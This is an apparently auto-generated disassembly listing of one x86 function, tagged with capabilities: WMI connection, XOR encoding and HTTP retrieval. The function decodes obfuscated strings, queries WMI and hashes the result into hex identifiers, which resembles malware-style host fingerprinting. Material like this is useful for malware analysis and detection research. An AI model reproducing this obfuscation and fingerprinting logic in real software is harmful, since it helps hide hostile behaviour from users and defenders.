Function at 0x439000
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor
Get http document via iwebbrowser2

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x98
mov eax, dword [0x44d264]
mov dword [esp + 0x40], eax
mov dword [esp + 4], 0x29df2b0f
mov dword [esp + 8], 0x2dbb2fb7
mov dword [esp + 0xc], 0xd139d3b8
mov dword [esp + 0x10], 0xd512d743
mov dword [esp + 0x14], 0xd935db42
mov dword [esp + 0x18], 0xdd35df42
mov dword [esp + 0x1c], 0xc1c2c3f7
mov byte [esp + 0x20], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx + 4]
mov ebx, ecx
and ebx, 0x15
mov esi, ecx
and esi, 2
mov edi, esi
xor edi, 2
imul edi, ebx
or ebx, 2
imul ebx, esi
mov esi, ecx
xor esi, 0x8c68a4f7
add esi, edi
add esi, ebx
mov ebx, esi
and ebx, edx
mov edi, ebx
and edi, 0xfffffffd
mov eax, ebx
and eax, 2
or ebx, 2
imul ebx, eax
xor eax, 2
imul eax, edi
sub ebx, esi
add ebx, eax
mov eax, ebx
xor eax, edx
not ebx
and ebx, edx
add ebx, ebx
sub ebx, eax
add bl, 0x2d
mov byte [esp + ecx + 4], bl
inc ecx
cmp ecx, 0x1d
jne 0x439060
lea edi, [esp + 0x4c]
lea ebx, [esp + 0x70]
lea esi, [esp + 4]
push edi
push 8
push ebx
push 0xd
push esi
push 0
call dword [esp + 0x58]
test eax, eax
jns 0x4390e5
mov dword [esp + 0x70], 0x3a0043
mov dword [esp + 0x74], 0x5c
mov dword [esp + 0x58], 0xeedb18b3
mov dword [esp + 0x54], 0x75125209
mov dword [esp + 0x50], 0x724330bd
mov dword [esp + 0x4c], 0xc3cd605a
mov dword [esp + 0x48], 0
lea eax, [esp + 0x48]
push eax
push 0x443668
push 1
push 0
push 0x443678
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x43955c
mov dword [esp + 4], 0x116f1f6e
mov dword [esp + 8], 0x15661361
mov dword [esp + 0xc], 0x9531778
mov dword [esp + 0x10], 0xd750b73
mov dword [esp + 0x14], 0x15c0f7a
mov word [esp + 0x18], 0x300
mov dword [esp + 0x1a], 0
mov byte [esp + 0x1e], 0
mov eax, 0xa3640605
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x5c9bf9ff]
mov edx, eax
and edx, ecx
add edx, edx
sub ecx, edx
add ecx, eax
mov edx, ecx
xor edx, 0xe5
and ecx, 0x65
lea ecx, [edx + ecx*2]
add cl, 2
mov byte [esp + eax + 0x5c9bf9ff], cl
inc eax
cmp eax, 0xa3640620
jne 0x439180
lea eax, [esp + 4]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov edi, eax
mov eax, dword [esp + 0x48]
mov ecx, dword [eax]
lea edx, [esp + 0x44]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [esp + 0x5c], edi
push edi
push eax
call dword [ecx + 0xc]
test eax, eax
lea edi, [esp + 0x4c]
js 0x439548
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x60]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x43953e
mov dword [esp + 4], 0x89258b25
mov dword [esp + 8], 0x8586875c
mov byte [esp + 0xc], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 4]
mov edx, eax
and edx, 0xd
xor edx, 0x96b5aa9d
mov esi, eax
and esi, 2
sub esi, edx
mov edx, esi
and edx, ecx
add edx, edx
sub edx, esi
mov ebx, 0x7f
sub ebx, edx
xor edx, ecx
and ebx, ecx
add ebx, ebx
sub ebx, edx
add bl, 0x11
mov byte [esp + eax + 4], bl
inc eax
cmp eax, 9
jne 0x439230
lea eax, [esp + 4]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ebx, eax
mov dword [esp + 4], 0x418947b9
mov dword [esp + 8], 0x4d8d43b4
mov dword [esp + 0xc], 0x49b24f81
mov dword [esp + 0x10], 0x75604b68
mov dword [esp + 0x14], 0x71b87754
mov dword [esp + 0x18], 0x7d837382
mov dword [esp + 0x1c], 0x795e7f8b
mov dword [esp + 0x20], 0x65917b81
mov dword [esp + 0x24], 0x61bb67f2
mov dword [esp + 0x28], 0x6d8363b2
mov dword [esp + 0x2c], 0x69a56fae
mov dword [esp + 0x30], 0x15976b99
mov word [esp + 0x34], 0x1714
mov dword [esp + 0x36], 0
mov word [esp + 0x3a], 0
xor eax, eax
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, eax
and esi, 0x22
mov edx, ecx
xor edx, 0x11
add edx, esi
xor dl, byte [esp + ecx + 4]
add dl, 0xab
mov byte [esp + ecx + 4], dl
inc ecx
add eax, 2
cmp ecx, 0x38
jne 0x439300
lea eax, [esp + 4]
push eax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x44]
mov ecx, dword [esi]
lea edx, [esp + 0x64]
push edx
push 0
push 0x30
mov dword [esp + 0x74], eax
push eax
mov dword [esp + 0x7c], ebx
push ebx
push esi
call dword [ecx + 0x50]
test eax, eax
lea ebx, [esp + 0x70]
js 0x439528
mov dword [esp + 0x5c], 0
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
lea edx, [esp + 0x5c]
lea esi, [esp + 0x60]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x43951e
cmp eax, 1
je 0x43951e
cmp dword [esp + 0x5c], 0
je 0x43951e
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x60]
mov dword [esp + 4], 0x812987d9
mov dword [esp + 8], 0x8d298332
mov dword [esp + 0xc], 0x893a8f2f
mov dword [esp + 0x10], 0x95358bde
mov dword [esp + 0x14], 0x91349723
mov dword [esp + 0x18], 0x9d20933f
mov word [esp + 0x1c], 0x9f9c
mov dword [esp + 0x1e], 0
mov byte [esp + 0x22], 0
xor ecx, ecx
xor edx, edx
nop
nop
nop
nop
nop
nop
mov esi, ecx
and esi, 2
mov ebx, edx
xor ebx, 0x21
add ebx, esi
xor bl, byte [esp + edx + 4]
add bl, 0x5b
mov byte [esp + edx + 4], bl
inc edx
add ecx, 2
cmp edx, 0x1f
jne 0x4393f0
mov ecx, dword [eax]
push 0
push 0
lea esi, [esp + 0x88]
push esi
push 0
lea edx, [esp + 0x14]
push edx
push eax
call dword [ecx + 0x10]
test eax, eax
lea ebx, [esp + 0x70]
js 0x43950d
cmp word [esp + 0x80], 8
jne 0x43950d
mov eax, dword [esp + 0x88]
movzx ecx, word [eax]
test cx, cx
mov dword [esp + 0x3c], eax
je 0x439495
add eax, 2
xor esi, esi
jmp 0x43946c
inc esi
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x439497
cmp cx, 0x7f
jbe 0x439460
movzx edx, cx
cmp edx, 0x7ff
ja 0x43948a
mov ecx, esi
and ecx, 2
xor esi, 2
lea esi, [esi + ecx*2]
jmp 0x439461
cmp cx, 0xffff
je 0x439461
add esi, 3
jmp 0x439461
xor esi, esi
mov eax, esi
and eax, 1
mov ecx, esi
xor ecx, 1
lea ebx, [ecx + eax*2]
push ebx
call fcn.00408250
add esp, 4
push dword [esp + 0x3c]
push ebx
mov dword [esp + 0x44], eax
push eax
call fcn.00408f70
add esp, 0xc
mov eax, 3
sub eax, esi
cmp eax, 0xfffffffd
jae 0x4394d0
mov eax, 0xfffffffc
add eax, esi
shr eax, 2
cmp eax, 3
lea ebx, [esp + 0x70]
jb 0x4394e3
mov eax, 3
lea eax, [eax*4 + 4]
lea ecx, [esp + 0x4c]
push eax
mov esi, dword [esp + 0x40]
push esi
push ecx
call fcn.00408280
add esp, 0xc
push esi
call fcn.00408260
add esp, 4
lea esi, [esp + 0x80]
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0x6c]
call esi
push dword [esp + 0x68]
call esi
lea esi, [esp + 4]
mov eax, dword [esp + 0x44]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [esp + 0x40]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x48]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push 0xbeb8f1a1
push dword [0x44d25c]
call fcn.0043fb50
add esp, 8
push 0
push 0
push 0
push 0
push esi
push 0
push 0
push ebx
call eax
test eax, eax
je 0x439585
mov edi, esi
imul eax, dword [edi], 0x1a5845
add eax, 0xebde8a13
mov dword [esp + 0x4c], eax
mov esi, 0xfffffff7
push 0x10
push 9
mov edi, dword [ebp + 8]
push edi
push eax
call fcn.0041ecf0
add esp, 0x10
nop
nop
nop
nop
nop
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x4395b0
test esi, esi
je 0x4395ce
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.00408410
add esp, 0xc
lea eax, [edi + 8]
xor ecx, ecx
cmp dword [esp + 0x50], 0
setne cl
imul ecx, dword [esp + ecx*4 + 0x4c], 0x1a5845
add ecx, 0xebde8a13
mov dword [esp + 0x50], ecx
mov esi, 0xfffffff7
push 0x10
push 9
push eax
push ecx
call fcn.0041ecf0
add esp, 0x10
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x439600
test esi, esi
je 0x43961e
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.00408410
add esp, 0xc
lea eax, [edi + 0x10]
xor ecx, ecx
cmp dword [esp + 0x54], 0
setne cl
imul ecx, dword [esp + ecx*4 + 0x50], 0x1a5845
add ecx, 0xebde8a13
mov dword [esp + 0x54], ecx
mov esi, 0xfffffff7
push 0x10
push 9
push eax
push ecx
call fcn.0041ecf0
add esp, 0x10
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x439650
test esi, esi
je 0x43966e
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.00408410
add esp, 0xc
add edi, 0x18
xor eax, eax
cmp dword [esp + 0x58], 0
setne al
imul eax, dword [esp + eax*4 + 0x54], 0x1a5845
add eax, 0xebde8a13
mov esi, 0xfffffff7
push 0x10
push 9
push edi
push eax
call fcn.0041ecf0
add esp, 0x10
nop
nop
nop
nop
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x4396a0
test esi, esi
je 0x4396be
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.00408410
add esp, 0xc
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret